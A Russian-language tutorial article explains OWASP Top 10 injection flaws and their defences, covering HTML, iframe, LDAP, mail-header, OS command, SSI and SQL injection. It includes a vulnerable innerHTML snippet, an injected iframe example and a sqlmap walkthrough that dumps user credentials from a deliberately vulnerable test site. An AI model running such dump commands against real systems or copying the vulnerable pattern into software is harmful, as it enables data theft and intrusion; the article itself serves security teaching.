A1. Injection. OWASP TOP 10

Любой источник данных может быть подвергнут этой атаке. Успешной атакой на инъекцию можно считать ситуацию, когда злоумышленник смог передать интерпретатору своё содержимое (формы, модели, полей или код). Инъекции часто распрастранены, особенно в устаревшем коде. Инъекции часто всречаются в запросах SQL, LDAP, XPath, NoSQL, командах ОС. Инъекция может привести в потере или повреждению данных, разглашению посторонним лицам, потере ответственности или отказу в доступе (полному захвату хоста).

Является ли приложение уязвимым?

Приложение можно считать уязвимым, если:

  • Введенные пользователем данные не проверяются, не фильтруются или не преобразовываются приложением;
  • Динамические запросы или непараметрические вызовы без контекстно-зависимого экранирования используются непосредственно в интерпретаторе;
  • Введенные пользователем данные используются в параметрах поиска объектно-реляционного отображения (ORM) для извлечения дополнительных конфиденциальных записей;
  • Введенные пользователем данные непосредственно используются без дополнительных проверок;

Как предотвратить

  • Использовать безопасный API, который полностью исключает использование интерпретатора, предоставляет параметризированный интерфейс;
  • Использовать проверку ввода по «белым спискам» на стороне сервера. Это не полная защита, т.к. для многих полей требуются специальные символы;
  • Экранировать спецсимволы;

Типы инъекций:

HTML

Пользователь может контролировать ввод и внедрить произвольный HTML в уязвимую веб-страницу. Эта уязвимость может иметь множество последствий, таких как раскрытие файлов cookie, или, в более общем плане, она может позволить злоумышленнику изменить содержимое страницы, увиденное посетителями.

    var userposition=location.href.indexOf("user=");
    var user=location.href.substring(userposition+5);
    document.getElementById("Welcome").innerHTML="Hello, "+user;

Защита: экранирование спецсимволов.

iFrame

Как правило, это подмена src у существующих iframe, либо добавление новых, которые могут сниффить нажатия кнопок.

 <iframe src="http://dangeroussite.com" ></iframe>

 Защита: проверка src у iframe.

LDAP

Инъекция LDAP — это атака на стороне сервера, которая может раскрыть, изменить или вставить конфиденциальную информацию о пользователях и хостах, представленных в структуре LDAP. Это делается путем манипулирования входными параметрами, которые затем передаются во внутренние функции поиска, добавления и изменения.

Защита: проверка ввода через белый список, снижение привелегий для учетных записей LDAP.

Инъекции в почтовых заголовках

Атака возможна, если сервер отправляет сообщение по поручению клиента.

Полезная ссылка: https://www.owasp.org/index.php/TestingforIMAP/SMTPInjection(OTG-INPVAL-011)

Защита: парс полей почты, чтобы было невозможно вставить в тело письма вредоносный js и выполнить через (eval), а в тело адреса — другой адрес.

Инъекции команд ОС.

В случае прямого доступа к ОС возможно выполнение нежелательных команд на сервере.

Полезная ссылка: https://www.owasp.org/index.php/OSCommandInjectionDefenseCheat_Sheet

Защита: избегать прямого вызова команд ОС, экранирование спецсимволов, параметризация в сочетании с проверкой входных данных. Средствами дополнительной защиты принято считать переназначение прав, непосредственно для выполнения конкретных задач (создать изолированные учетные записи с ограниченными правами, которые используюстя только для одной задачи).

SSI инъекции

Полезная ссылка: https://www.owasp.org/index.php/Server-SideIncludes(SSI)_Injection

SQL инъекции

SQL инъекции возможны, когда разработчики ПО создают динамические запросы к базе данных, которые включают вводимые пользователем данные. Избежать SQL инъекций достаточно просто. Разработчикам необходимо: 1. Прекратить написание динамических SQL запросов 2. Не допускать влияния введенного пользователем кода, содержащего вредоносный SQL на логику выполнения запроса

Защита: использование хранимых процедур, проверка ввода белым списком, экранирование всех вводимых пользователем данных.

К дополнительной защите можно отнести усечение привелегий для учетных записей, из-под которых выполняются запросы.

Полезная ссылка: https://www.owasp.org/index.php/SQLInjectionPreventionCheatSheet

Пример проведения атаки.


Адрес для тестирования атаки: http://testphp.vulnweb.com/listproducts.php?cat=1

Инструменты: Windows (Havij), Linux (SqlMap)

SqlMap web site: http://sqlmap.org/ https://github.com/sqlmapproject/sqlmap/wiki/Usage


sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
находим две базы MySql:
                * acuart
                * information_schema
sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
находим список таблиц
sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --coluns
выводим список колонок
sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass,phone --dump
получаем данные

Полезные ссылки

  • https://www.owasp.org/index.php/OWASPProactiveControls#2:ParameterizeQueries
  • https://www.owasp.org/index.php/ASVSV5Inputvalidationandoutputencoding
  • https://www.owasp.org/index.php/TestingforSQLInjection(OTG-INPVAL-005)
  • https://www.owasp.org/index.php/InjectionPreventionCheat_Sheet
  • https://www.owasp.org/index.php/SQLInjectionPreventionCheatSheet
  • https://www.owasp.org/index.php/InjectionPreventionCheatSheetin_Java
  • https://www.owasp.org/index.php/QueryParameterizationCheat_Sheet
  • https://www.owasp.org/index.php/OWASPAutomatedThreatstoWeb_Applications
  • https://cwe.mitre.org/data/definitions/77.html
  • https://cwe.mitre.org/data/definitions/917.html
  • https://portswigger.net/kb/issues/00101080_serversidetemplateinjection

Оцените статью
( Пока оценок нет )